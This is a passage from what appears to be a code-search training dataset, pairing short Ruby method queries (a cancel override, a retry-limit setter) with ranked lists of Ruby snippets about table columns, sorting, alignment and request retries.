"def reset_column(from=g_from_direction)\n to = opposite_position(from)\n reset_float\n mixin({\n width: 'auto',\n \"margin-#{to}\" => auto\n })\n end",
"def sortable_columns\n # list columns inside the Array in string dot notation.\n # Example: 'users.email'\n # @sortable_columns ||= []\n @sortable_columns ||= ['users.name' ,'users.phone', 'users.address']\n end",
"def field_names(mainclass)\n fields_xml = ''\n xm = Builder::XmlMarkup.new(:target => fields_xml, :indent => 2)\n xm.instruct!\n xm.field_names{\n # Insert all of our local column names\n mainclass.content_columns.each { |column| xm.field_name(\"#{column.name}\") }\n\n # Then insert all of the column names from our associations\n mainclass.reflect_on_all_associations.each do |assoc|\n # Don't expose implementation details that aren't meaningful\n # to the user\n next if assoc.name == :audits\n # from rails_authorization_plugin should not be searched\n next if assoc.name == :users\n next if assoc.name == :utilization_metrics\n next if assoc.options.has_key?(:polymorphic)\n next if assoc.name.to_s =~ /_assignments?$/\n\n # Not sure yet if I want to handle second-level associations in a special way\n # It doesn't matter to the user for searching, but does potentionally matter\n # if they request an include.\n #if assoc.options.has_key?(:through) && assoc.options[:through].to_s !~ /_assignments$/\n #end\n \n assoc.klass.content_columns.each do |column|\n # If it's the column that we let the user shortcut by just\n # specifying the association (leaving off the column name)\n # then indicate that to the user by including the shortcut.\n # I could be convinced to do this in a more XMLish fashion\n # (i.e. a <field_name_shortcut> element or something) if\n # someone wanted to programatically do something with these.\n # Currently the client just dumps these out to the user so this\n # is sufficient.\n if (assoc.klass.respond_to?('default_search_attribute') &&\n column.name == assoc.klass.default_search_attribute)\n xm.field_name(\"#{assoc.name}[#{column.name}] (#{assoc.name})\")\n else\n xm.field_name(\"#{assoc.name}[#{column.name}]\")\n end\n end\n end\n }\n\n respond_to do |format|\n format.xml { render :xml => fields_xml }\n end\n end",
"def position_field_name meta\n self.class.determine_position_field_name meta\n end",
"def fields_with_consistent_order\n fields.sort { |f1, f2| f1.schema_id <=> f2.schema_id }\n end",
"def sort_column\n nil\n end",
"def sort_fields\n Blacklight.config[:sort_fields]\n end",
"def get_display_field_header\n self.statement\n end",
"def left_align\n @align = nil\n end",
"def set_form_col col1=0 #:nodoc:\n @cols_panned ||= 0 \n # editable listboxes will involve changing cursor and the form issue\n win_col = 0 \n col2 = win_col + @col + @col_offset + col1 + @cols_panned + @left_margin\n $log.debug \" set_form_col in rlistbox #{@col}+ left_margin #{@left_margin} ( #{col2} ) \"\n setrowcol nil, col2 \n end",
"def columns; end",
"def string_order_fields(arrfields)\n\tstrres = \" \"\n\tl = 0\n\tarrfields.each do |af|\n\t l += 1\n\t if l > 1\n\t strres += \", \"\n\t end\n\t strres += af[1][\"ordfield\"]+\" \"+af[1][\"ascdesc\"]\n\tend\n\treturn strres\n end",
"def left\n @ole.Left\n end",
"def left\n @ole.Left\n end",
"def column_definition_order\n COLUMN_DEFINITION_ORDER\n end",
"def sort_order\n sortable_column_order do |column, direction|\n if resource_handler.model_associations.present? && column.match(/\\./)\n table, column = column.split('.')\n if resource_handler.model_associations.detect { |a| a.table_name == table }\n \"#{table}.#{column} #{direction}\"\n else\n fallback_sort_order(direction)\n end\n elsif resource_handler.model.column_names.include?(column.to_s)\n \"#{resource_handler.model.table_name}.#{column} #{direction}\"\n else\n fallback_sort_order(direction)\n end\n end\n end",
"def default_ordering(field_name)\n case field_name\n when \"status\"; return(\"ascending\")\n when \"from\"; return(\"ascending\")\n when \"subject\"; return(\"ascending\")\n when \"date\"; return(\"descending\")\n end \n end",
"def order_by_column\n return clazz.clustering_columns[0].name if clazz.clustering_columns.length > 0\n clazz.key_columns[0].name\n end",
"def sortable_header(field, options={})\n dir = 'ASC'\n dir = 'DESC' if options[:descend]\n klass = options[:class_name].constantize if options[:class_name]\n field = field.to_s\n\n cur = if params[:sort].present?\n params[:sort]\n elsif options[:default] && params[:sort].blank?\n \"#{field} #{dir}\"\n end\n if cur\n cur_field, cur_dir = cur.split(/\\s*,\\s*/).first.split /\\s+/\n dir = cur_dir == 'ASC' ? 'DESC' : 'ASC' if cur_field == field\n end\n\n label = if options[:label]\n options[:label]\n elsif klass\n klass.human_attribute_name field\n else\n field.titleize\n end\n\n img = if cur && cur_field == field\n if dir == 'ASC'\n SortableListHelper.asc_img\n else\n SortableListHelper.desc_img\n end\n else\n SortableListHelper.neutral_img\n end\n img = image_tag img, alt: '', border: 0 if img\n\n label = if SortableListHelper.position == :after\n \"#{label} #{img}\"\n else\n \"#{img} #{label}\"\n end if img\n\n # field should in general equal to klass.columns_hash[field].name.\n # But doing the lookup provides a hook allowing for a seperation\n # between the attribute name and the column name. The class could\n # return a hash not indexed by the column name but instead a\n # distinct attribute name.\n if klass && (column = klass.columns_hash[field])\n field = \"#{klass.quoted_table_name}.#{klass.connection.quote_column_name column.name}\"\n end\n\n args = params.merge sort: \"#{field} #{dir}\"\n link_to label.html_safe, args\n end",
"def get_ordering_fields\n return self.class.ordering_fields&.map(&:to_s) || self.get_fields\n end",
"def asc\n from(default_table).asc\n end",
"def col; end",
"def justify_columns(options={})\n right_justified_columns = options[:right_justify] || []\n widths = self.map do |column|\n column.map{|entry| entry.to_s.size}.max\n end\n justified = []\n self.each_with_index do |column, column_number|\n if right_justified_columns.include?(column_number)\n justified << column.map{|entry| \"%*s\" % [widths[column_number], entry] }\n elsif column_number < self.size-1\n justified << column.map{|entry| \"%-*s\" % [widths[column_number], entry] }\n else\n justified << column\n end\n end\n justified\n end",
"def columns\n super + [:extra_column]\n end",
"def column_header\n (0..upper_bound_x+1)\n .to_a\n .map { |num| num.to_s.rjust((upper_bound_y + 1).to_s.size,'0')}\n .map { |num| num.chars }\n .transpose\n .map { |num| num.join }\n .map { |num| num.rjust(num.size + 5,\" \") }\n .join(\"\\n\") + \"\\n\"\n end",
"def align_field(field, col)\n column_width = widths[col]\n direction = field.alignment || alignments[col] || DEFAULT\n Strings.align(field.content, column_width, direction: direction)\n end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def after_render_field(record, column); end",
"def move_left(array)\r\n set_current_row_col(array)\r\n new_col = (@current_col == 0) ? array.first.length - 1 : @current_col - 1 # This logic will decide the new co-ordinated of space\r\n current_ele = array[@current_row][new_col]\r\n array[@current_row][new_col] = ' '\r\n replace_existing_element(array,current_ele, @current_row, @current_col)\r\n array\r\n end",
"def left\n check_placement\n\n super\n end",
"def align_field(field, col)\n column_width = widths[col]\n alignment = Alignment.new(field.align || self[col])\n field.value = alignment.format(field, column_width)\n end",
"def columns(line)\n line[ox...(ox + width)] || ''\n end",
"def sortable_columns\n {'id' => \"#{Contact.table_name}.id\"}.merge(available_columns.inject({}) {|h, column|\n h[column.name.to_s] = column.sortable\n h\n })\n end",
"def heading\n\t\thas_reverse? ? \"#{left_name} & #{right_name}\" : left_name.pluralize\n\tend",
"def columns\n end",
"def column_order_by\n @@column_order_by\n end",
"def call(field, row, col)\n align_field(field, col)\n end",
"def call(field, row, col)\n align_field(field, col)\n end",
"def columns(*cs)\n if cs.empty?\n super\n else\n self.columns = cs\n self\n end\n end",
"def sort_column\n Partner.column_names.include?(params[:sort]) ? params[:sort] : \"first_name\"\n end",
"def right\n self[self.nested_set_options[:right_column]] || 0\n end"
] | [
"0.6807088",
"0.6527771",
"0.6159539",
"0.6152183",
"0.6088383",
"0.6088383",
"0.6088383",
"0.6048568",
"0.60309404",
"0.5966635",
"0.5949794",
"0.59439987",
"0.5901801",
"0.58312416",
"0.58312416",
"0.5813063",
"0.5813063",
"0.5778515",
"0.57587373",
"0.57303226",
"0.56765324",
"0.56696635",
"0.56595325",
"0.5655341",
"0.5640347",
"0.5607467",
"0.5593354",
"0.5579111",
"0.55471724",
"0.5524473",
"0.54962075",
"0.5454383",
"0.54506236",
"0.5444052",
"0.5439525",
"0.543907",
"0.543603",
"0.54179674",
"0.54119253",
"0.5411814",
"0.53937703",
"0.53798115",
"0.5377859",
"0.5374985",
"0.53548634",
"0.5344169",
"0.5342311",
"0.53324306",
"0.5329499",
"0.5329499",
"0.532911",
"0.5308791",
"0.53052396",
"0.5301223",
"0.52887964",
"0.5288713",
"0.52871007",
"0.5285468",
"0.5279629",
"0.52698386",
"0.526966",
"0.52622026",
"0.5252361",
"0.5249258",
"0.52407056",
"0.521412",
"0.521128",
"0.521128",
"0.52099735",
"0.5207943",
"0.5203021",
"0.51995575",
"0.5195279",
"0.5186449",
"0.5185133",
"0.51786685",
"0.517658",
"0.5170573",
"0.5170123",
"0.5161262",
"0.51576436",
"0.51576436",
"0.51576436",
"0.51576436",
"0.51576436",
"0.51576436",
"0.51576436",
"0.51571125",
"0.5145052",
"0.5140445",
"0.5138482",
"0.51369536",
"0.51336443",
"0.51320684",
"0.5119797",
"0.5115802",
"0.5109484",
"0.5109484",
"0.5108655",
"0.5100232",
"0.5099417"
] | 0.0 | -1 |
Apply calls this to pop out of state; we'll want to prompt with save first. | def cancel
# TODO: That thing I'm claiming to do in the comments
super
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def discard_saved_state\n end",
"def pop_state\n @state.pop\n end",
"def restore_pop\n\nend",
"def pop\n if restore(@checkpoint_number) > 0\n drop\n end\n end",
"def discard_saved_state\n execute(\"discardstate\", @uuid)\n end",
"def restore\n end",
"def pop_state\t\n\t\t\t@state_buffer = Proc.new do\n\t\t\t\t@objs2 = []\n\t\t\t\t@current_state = @states.pop\n\t\t\tend\n\t\tend",
"def restore!\n restore\n save!(validate: false)\n end",
"def apply( stack )\n\t\traise Pushdown::TransitionError, \"can't pop from an empty stack\" if stack.empty?\n\t\traise Pushdown::TransitionError, \"can't pop the only state on the stack\" if stack.length == 1\n\n\t\tself.log.debug \"popping a state\"\n\t\t@popped_state = stack.pop\n\t\t@popped_state.on_stop\n\t\tstack.last.on_resume\n\n\t\treturn stack\n\tend",
"def backtrack\n @state = @backtrack_states.pop\n if @verbose\n puts \"log: backtrack to last valid state\"\n end\n end",
"def popState()\n\t\t\tif @_state_stack.empty? then\n\t\t\t\tif @_debug_flag then\n\t\t\t\t\t@_debug_stream.puts \"POPPING ON EMPTY STATE STACK.\\n\"\n\t\t\t\tend\n\t\t\t\traise \"empty state stack.\\n\"\n\t\t\telse\n\t\t\t\t@_state = @_state_stack.pop\n\t\t\t\tif @_debug_flag then\n\t\t\t\t\t@_debug_stream.puts \"POP TO STATE : %s\\n\" % @_state.getName\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def restore; end",
"def restore\n self.suspended = false\n save(:validate => false)\n end",
"def restore_graphics_state\n @stack.pop\n end",
"def close\r\n pop_game_state\r\n end",
"def Abort\n Popup.ReallyAbort(GetModified())\n end",
"def restore\r\n @status = @stack.shift if @stack.size > 0\r\n end",
"def restore\n RESTORE\n end",
"def restore_branch\n @@obj.branch(@@save_branch.pop).checkout\n end",
"def clearState()\n\t\t\t@_previous_state = @_state\n\t\t\t@_state = nil\n\t\tend",
"def undo\n return unless applied = self.applied\n\n applied.undo\n\n self.applied = applied.parent\n self.pending = applied\n end",
"def pop_prompt\n prompt_stack.size > 1 ? prompt_stack.pop : prompt\n end",
"def with_keeping_state\n if control.key? :saved\n state_machine.load_current_state(control[:saved])\n else\n state_machine.set_initial_state\n end\n yield\n control[:saved] = state_machine.save_current_state \n end",
"def restore_state\n unless @state_stack.empty?\n state = @state_stack.pop\n @current_fill_color = state.fill_color\n @current_stroke_color = state.stroke_color\n @current_text_render_style = state.text_render_style\n @current_stroke_style = state.stroke_style\n stroke_style!\n end\n add_content(\"\\nQ\")\n end",
"def undo!\n bb = @stack.pop\n set_black(bb[:black])\n set_white(bb[:white])\n end",
"def pop\n CGContextRestoreGState(@ctx)\n @stacksize = @stacksize - 1\n end",
"def pop_scene\n\t\t\tset_state(:stopped)\n\t\tend",
"def pop_frame()\n CLI::UI::Frame.close(\"Pop!\")\n end",
"def exit!\n map = @transition_map\n map.each do |type, events_to_transition_arrays|\n events_to_transition_arrays.each do |event, transitions|\n transitions.each(&:unarm)\n end\n end\n\n @exit_actions.each do |exit_action|\n exit_action.call(@state_machine)\n end\n @state_machine.current_state = nil\n end",
"def restore()\n state = @stack.pop()\n @angle = state[0]\n @pos = state[1]\n @down = state[2] \n end",
"def revert\n end",
"def clear\n current_state.clear\n end",
"def undo()\n return @history.pop\n end",
"def mark_as_restored\n @restored = true\n end",
"def pop\n parser.scope = parent;\n end",
"def restore_merge_state; end",
"def restore_merge_state; end",
"def pop_stored_location\n session.delete(:return_to)\n end",
"def set_PopState(value)\n set_input(\"PopState\", value)\n end",
"def undo\n if current_ident == @undo.last\n # reset\n self.current_db_value = current_question[\"question\"].value\n @undo.pop\n update_toolbar\n else\n old = @all_failed_questions.assoc(@undo.last)\n return unless old\n self.current_question = old[1]\n end\n end",
"def restore\n {}\n end",
"def restore\r\n self.update(deleted: false)\r\n end",
"def restore\n parse\n end",
"def do_back\n update_screen(get_step_content(@step - 1, @editor.value, @output.value))\n end",
"def reset\n @state = :entry\n end",
"def undo\n @workout.undo\n redirect_to workout_path(@workout),\n notice: t('.success')\n end",
"def pop_stored_location\n session.delete(:return_to)\n end",
"def leave; end",
"def onCancel(flag, view)\n self.reset(view)\n \tSketchup.undo\n end",
"def pop\n # Reset.pop never called: only overrides!\n log(\"{rBase reset #pop called - should only ever call overrides!{x\")\n return \n end",
"def reset_state\n @state = nil\n end",
"def reset\n unapply\n apply\n end",
"def unstage\n unstage_success = true\n case @method\n when :current\n # Do Nothing\n when :working\n # Do Nothing\n when :git\n begin\n git_switch_from(branch: @key, checkout: @stage_success)\n rescue Git::GitExecuteError\n git_rescue\n unstage_success = false\n end\n when :script\n Controller.system(command: @key[:unstage])\n end\n Dir.chdir(@orginal_directory) unless @root_dir == @orginal_directory\n unstage_success\n end",
"def reset\n exit({})\n end",
"def unload!\n self.choices = @old_choices\n end",
"def leave()\n @active.pop\n end",
"def interactive_history_back e\n if not @history.at_beginning\n store_in_history\n @history.back\n restore_from_history\n end\n end",
"def resets; end",
"def undo\n\t\[email protected]\n\tend",
"def undo\n\t\t\n\tend",
"def undo\n\t\t\n\tend",
"def restore!\n record = self.restore\n record.save!\n self.destroy\n return record\n end",
"def action_B\n return if no_leave_B\n # Ensure we don't leave with a call_skill_process\n @call_skill_process = nil\n $game_system.se_play($data_system.cancel_se)\n # Cancel choice attempt\n return @choice_object.cancel if @choice_object\n # Returning to normal mode\n if @intern_mode != :normal\n @base_ui.hide_win_text\n hide_item_name\n @team_buttons[@move].selected = false if @move != -1\n @move = -1\n return @intern_mode = :normal\n end\n # Emptying $game_temp.temp_team if in select mode\n if @mode == :select\n $game_temp.temp_team = []\n end\n @running = false\n end",
"def reset!\n self.draft = find_original_file!.read\n save!\n end",
"def rollback!\n restore_attributes\n end",
"def save\n @saved = @state\n end",
"def prompt_save_deletion\r\n pbMessage(_INTL('The save file is corrupt, or is incompatible with this game.'))\r\n exit unless pbConfirmMessageSerious(\r\n _INTL('Do you want to delete the save file and start anew?')\r\n )\r\n self.delete_save_data\r\n $game_system = Game_System.new\r\n $PokemonSystem = PokemonSystem.new\r\n end",
"def down!\n @data[:state] = :down\n save!\n end",
"def prompt_save_deletion\n pbMessage(_INTL('The save file is corrupt, or is incompatible with this game.'))\n exit unless pbConfirmMessageSerious(\n _INTL('Do you want to delete the save file and start anew?')\n )\n self.delete_save_data\n $game_system = Game_System.new\n $PokemonSystem = PokemonSystem.new\n end",
"def prompt_save_deletion\n pbMessage(_INTL('The save file is corrupt, or is incompatible with this game.'))\n exit unless pbConfirmMessageSerious(\n _INTL('Do you want to delete the save file and start anew?')\n )\n self.delete_save_data\n $game_system = Game_System.new\n $PokemonSystem = PokemonSystem.new\n end",
"def save_with_unsaved_flag(*args)\n result = save_without_unsaved_flag(*args)\n self.unsaved = false\n return result\n end",
"def undo\n if(@history != nil)\n @history.undo\n end\n end",
"def clear_state\n @state.clear\n self\n end",
"def unsave\n self.saved_at = nil\n end",
"def popd\n\t\t\tpush [:pop]\n\t\t\tdip\n\t\tend",
"def back\n fetch(\"_sahi.go_back()\")\n end",
"def undo_dirty_event!\n decrement_version!\n @_dirty_events.pop\n\n self\n end",
"def undo\n fan.off\n end",
"def rollback()\n oldpos = @checkpoints.pop\n unless oldpos\n oldpos = 0\n end\n self.pos = oldpos\n return self \n end",
"def leave!\n @interact=false\n end",
"def leave!\n @interact=false\n end",
"def clean\n reset_states rescue nil\n set_executed_commands rescue nil\n end",
"def pop\n # only call on-finish if we have a writer, batch writers are lazily\n # created and maybe we never created one\n if @writer\n # if we created the writer ourselves locally and nobody\n # specified an on_finish, close our locally-created writer.\n on_finish = if @local_writer && @on_finish.nil?\n proc {|writer| writer.close }\n else\n @on_finish\n end\n on_finish.call(@writer) if on_finish\n end\n\n Thread.current[THREAD_CURRENT_KEY] = @original_settings\n end",
"def restore(*args); end",
"def exit_assign\n assign_stack.pop\n end",
"def touch\n @saved = false\n end",
"def dat_menu() \n game_states.size == 1 && exit #fires if this is the only gamestate\n Chingu::Text.create 'Now leaving :(', size: 48, x: 200, y: 200, color: Gosu::Color::RED\n after(500) { $window.pop_game_state(setup: false) }\n end",
"def undiscard\n unless @multi_year_chart.kept?\n @multi_year_chart.discarded_at = nil\n @multi_year_chart.save(touch: false)\n\n flash.notice = t('scenario.trash.undiscarded_flash')\n flash[:undo_params] = [discard_multi_year_chart_path(@multi_year_chart), { method: :put }]\n end\n\n redirect_back(fallback_location: discarded_saved_scenarios_path)\n end",
"def quits_bar\n self.reload\n if self.bar_id == nil\n puts \"#{self.name} is already unemployed.\"\n return\n end\n puts \"#{self.name} has quit working at #{self.bar.name}.\"\n self.bar_id = nil\n self.save\n end",
"def command_back\n @confirm_window.close\n @items_window.smooth_move(0, @items_window.y)\n @materials_window.smooth_move(0, @materials_window.y)\n #@gold_window.smooth_move(0, @gold_window.y)\n @details_window.smooth_move(Graphics.width/2, @details_window.y)\n @items_window.activate\n end",
"def unsaved?\n @unsaved\n end",
"def unsaved?\n @unsaved\n end",
"def restore_mode; end",
"def restore_mode; end",
"def cancel\n to_run.clear\n reset\n current_self\n end",
"def pop() end",
"def pop_context\n context.pop\n end",
"def restore_mode\n system \"stty #{@state}\"\n end",
"def restore!\n IO.console.cooked!\n end",
"def back_one\n @lines.pop\n refresh\n end",
"def finish\n @pot.active = false\n @pot.save\n redirect_to pot_path(@pot)\n end"
] | [
"0.7195491",
"0.6576815",
"0.6282221",
"0.6186233",
"0.6120377",
"0.61092293",
"0.6081622",
"0.60574955",
"0.6030832",
"0.5899486",
"0.5862111",
"0.58567125",
"0.58498204",
"0.58495146",
"0.5813432",
"0.58081096",
"0.58022875",
"0.57327116",
"0.57259387",
"0.5707286",
"0.5689227",
"0.56856537",
"0.56837237",
"0.566534",
"0.5620528",
"0.56198746",
"0.56031746",
"0.56003046",
"0.55960345",
"0.55619293",
"0.5544355",
"0.5530425",
"0.5528094",
"0.5523671",
"0.5494917",
"0.5454487",
"0.5454487",
"0.5453218",
"0.5445358",
"0.5401943",
"0.54019034",
"0.5399474",
"0.5392974",
"0.5391821",
"0.5390444",
"0.5381483",
"0.53812295",
"0.53800803",
"0.53783226",
"0.53744054",
"0.53683066",
"0.5363664",
"0.5343921",
"0.53343874",
"0.53205705",
"0.53187275",
"0.5315945",
"0.5311719",
"0.5296936",
"0.52963144",
"0.52963144",
"0.5290926",
"0.52855635",
"0.52847743",
"0.52843827",
"0.52813965",
"0.5271321",
"0.5271168",
"0.5266324",
"0.5266324",
"0.52655923",
"0.5265106",
"0.52585316",
"0.5257974",
"0.52514666",
"0.52460796",
"0.523862",
"0.5234449",
"0.52244675",
"0.5221295",
"0.5221295",
"0.52206147",
"0.5208477",
"0.5203131",
"0.51972383",
"0.5189604",
"0.5181683",
"0.5166664",
"0.5161541",
"0.51608807",
"0.51569664",
"0.51569664",
"0.51555777",
"0.51555777",
"0.5153258",
"0.5151752",
"0.5149777",
"0.51443964",
"0.5137676",
"0.5127065",
"0.5126016"
] | 0.0 | -1 |
Sets the maximum number of times to retry sending the request to the API. (Default is 5) Returns self to accommodate method chaining. | def retry_at_most(max_retries)
@max_retries = max_retries
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def max_retry\n 5\n end",
"def with_max_retries(max_retries)\n @max_retries = max_retries\n self\n end",
"def max_retries\n @max_retries ||= DEFAULT_MAX_RETRY_ATTEMPTS\n end",
"def max_retries\n @max_retries ||= options[:max_retries] || seeds.size\n end",
"def retry_limit\n @retry_limit ||= backoff_strategy.length\n end",
"def number_of_retries(num)\n raise ArgumentError, 'Must be positive Integer' unless num.is_a?(Integer) && num.positive?\n self.retries = num\n end",
"def max_attempts\n 5\n end",
"def retry_options\n {tries: 15, sleep: 1}\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def setRetryCount(count)\n @helper.setRetryCount(count)\n self\n end",
"def nretries\n options[:nretries]\n end",
"def poll_max_retries\n 3\n end",
"def max_retries\n MAX_RETRIES + (@invalid_signature_error && @invalid_path_error ? 1 : 0)\n end",
"def defaults!\n self.max_retries = 5\n self.retry_delay = 10\n end",
"def defaults!\n self.max_retries = 5\n self.retry_delay = 10\n end",
"def retry! request\n return if request[:retry] > 40\n\n @request.defer!(publisher, CnsBase::HttpClient::HttpRequestSignal.new(publisher, request.method, request.uri, request.query, request.body, request.header, request.name, request.params.merge!({:retry => request[:retry]+1})))\n raise CnsDb::SimpleDb::Errors::RetryError.new\n end",
"def limit_to(n)\n self.limit = n\n self\n end",
"def max_attempts\n 1\n end",
"def max_attempts\n 1\n end",
"def limit(number)\n @options[:limit] = number\n self\n end",
"def connection\n clear_errors!\n num_attempts = 0\n begin\n num_attempts += 1\n yield\n rescue Twitter::Error::TooManyRequests => error\n if num_attempts <= @@max_attempts\n # NOTE: Your process could go to sleep for up to 15 minutes but if you\n # retry any sooner, it will almost certainly fail with the same exception.\n errors << \"Rate limited! Will retry in #{error.rate_limit.reset_in} seconds\"\n sleep error.rate_limit.reset_in\n retry\n else\n raise ReachedMaximumRetriesException, \"Can't try any more attempts\"\n end\n rescue Twitter::Error => error\n errors << \"Error accessing the Twitter API. Please try later\"\n end\n end",
"def retry_delay\n 30\n end",
"def with_exp_backoff(max_retries)\n return unless block_given?\n\n retries = 0\n begin\n yield\n rescue Lokalise::Error::TooManyRequests => e\n raise(e.class, \"Gave up after #{retries} retries\") if retries >= max_retries\n\n sleep 2**retries\n retries += 1\n retry\n end\n end",
"def with_retries(retries)\n @retries = retries unless retries.nil?\n self\n end",
"def max_attempts\n 1\n end",
"def max_attempts\n 1\n end",
"def max_attempts\n 1\n end",
"def SetRetries(count, delay = 0)\n assert { count.instance_of? Fixnum }\n assert { delay.instance_of? Fixnum }\n \n @retrycount = count\n @retrydelay = delay\n end",
"def retry_interval\n @retry_interval ||= options[:retry_interval] || RETRY_INTERVAL\n end",
"def retry(retry_count)\n Observable.rescue_error(enumerator_repeat_times(retry_count, self))\n end",
"def set_maximum_requests(opts)\n opts = check_params(opts,[:maximum_requests])\n super(opts)\n end",
"def sleep_before_retry_on_limit_error\n sleep 15\n end",
"def expect_with_retry attempts: 5\n attempt_number ||= 0\n yield\n rescue RSpec::Expectations::ExpectationNotMetError\n attempt_number += 1\n retry if attempt_number < attempts\n raise\n end",
"def max_attempts\n @options[:max_attempts]\n end",
"def with_limited_retry(opts)\n tries = opts.fetch :tries\n exceptions = Array(opts.fetch(:exceptions))\n\n return if tries == 0\n\n begin\n yield\n rescue *exceptions\n Chef::Log.warn('Bad response, try again...')\n if (tries -= 1) > 0\n sleep 1\n retry\n end\n end\n end",
"def set_limit(n)\n @limit = n\n end",
"def retry_interval\n @options[:retry_interval]\n end",
"def limit(_limit)\n @limit = _limit\n self\n end",
"def maximum_requests\n super\n end",
"def timeouts_exceeded\n @reactor.log(:warn, \"#{self.class}, Client exceeded allowable [#{@max_broker_timeouts}] timeout failures; reopening socket to Broker!\")\n\n # active requests that haven't timed out & failed will still have the old\n # client ID; we need to restart those requests with the new ID\n @broker_timeouts = 0\n reopen_broker_connection\n end",
"def attempt(times, &block)\n n = times\n result = nil\n begin\n result = block.call(self) unless block.nil?\n rescue Exception => ex\n times -= 1\n retry if times >= 0\n raise ex\n end\n result\n end",
"def max_read_retries\n options[:max_read_retries] || Cluster::MAX_READ_RETRIES\n end",
"def gateway_retry_limit\n limit = @options &&\n (\n @options[:gateway_retry_limit] ||\n @options['gateway_retry_limit']\n )\n limit.nil? ? -1 : limit.to_i\n end",
"def gateway_retry_limit\n limit = @options &&\n (\n @options[:gateway_retry_limit] ||\n @options['gateway_retry_limit']\n )\n limit.nil? ? -1 : limit.to_i\n end",
"def with_retry\n count = 0\n loop do\n response = yield\n if response.code == 403 && response['error'].any? { |e| e['error'] == 'too many requests' }\n count += 1\n delay = 2 ** count\n warn \"too many requests, sleeping for #{delay} seconds\"\n sleep delay\n else\n return response\n end\n end\n end",
"def max_attempts_count\n @options[:max_attempts_count]\n end",
"def throttle\n 5\n end",
"def retry\n super\n end",
"def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end",
"def set_limit\n @limit = 250\n end",
"def with_max_timeout(max_timeout)\n @max_timeout = max_timeout\n self\n end",
"def reconnect_attempts=(val)\n @j_del.setReconnectAttempts(val)\n self\n end",
"def set_retry(opts)\n opts = check_params(opts,[:retries])\n super(opts)\n end",
"def publish_with_timeout_retry(request, parent, count = 0, multiplier = 1, elapsed = 0, broker_ids = nil)\n published_broker_ids = publish(request, broker_ids)\n\n if @retry_interval && @retry_timeout && parent\n interval = [(@retry_interval * multiplier) + (@request_stats.avg_duration || 0), @retry_timeout - elapsed].min\n EM.add_timer(interval) do\n begin\n if handler = @pending_requests[parent]\n count += 1\n elapsed += interval\n if elapsed < @retry_timeout\n request.tries << request.token\n request.token = AgentIdentity.generate\n @pending_requests[parent].retry_parent = parent if count == 1\n @pending_requests[request.token] = @pending_requests[parent]\n broker_ids ||= @broker.all\n publish_with_timeout_retry(request, parent, count, multiplier * RETRY_BACKOFF_FACTOR, elapsed,\n broker_ids.push(broker_ids.shift))\n @retry_stats.update(request.type.split('/').last)\n else\n Log.warning(\"RE-SEND TIMEOUT after #{elapsed.to_i} seconds for #{request.trace} #{request.type}\")\n result = OperationResult.non_delivery(OperationResult::RETRY_TIMEOUT)\n @non_delivery_stats.update(result.content)\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n end\n @connectivity_checker.check(published_broker_ids.first) if count == 1\n end\n rescue TemporarilyOffline => e\n # Send retry response so that requester, e.g., IdempotentRequest, can retry\n Log.error(\"Failed retry for #{request.trace} #{request.type} because temporarily offline\")\n result = OperationResult.retry(\"lost connectivity\")\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n rescue SendFailure => e\n # Send non-delivery response so that requester, e.g., IdempotentRequest, can retry\n Log.error(\"Failed retry for #{request.trace} #{request.type} because of send failure\")\n result = OperationResult.non_delivery(\"retry failed\")\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n rescue Exception => e\n # Not sending a response here because something more basic is broken in the retry\n # mechanism and don't want an error response to preempt a delayed actual response\n Log.error(\"Failed retry for #{request.trace} #{request.type} without responding\", e, :trace)\n @exception_stats.track(\"retry\", e, request)\n end\n end\n end\n true\n end",
"def rate_limit_calls\n calls = ENV['RATE_LIMIT_CALLS'].to_i\n calls > 0 ? calls : 5\n end",
"def retry_delay_times\n @delay_times ||= begin\n (1..Float::INFINITY)\n .lazy\n .map { |i| i**i }\n .take_while { |i| i < Proletariat.max_retry_delay }\n .to_a\n .push(Proletariat.max_retry_delay)\n .map { |seconds| seconds * 1000 }\n end\n end",
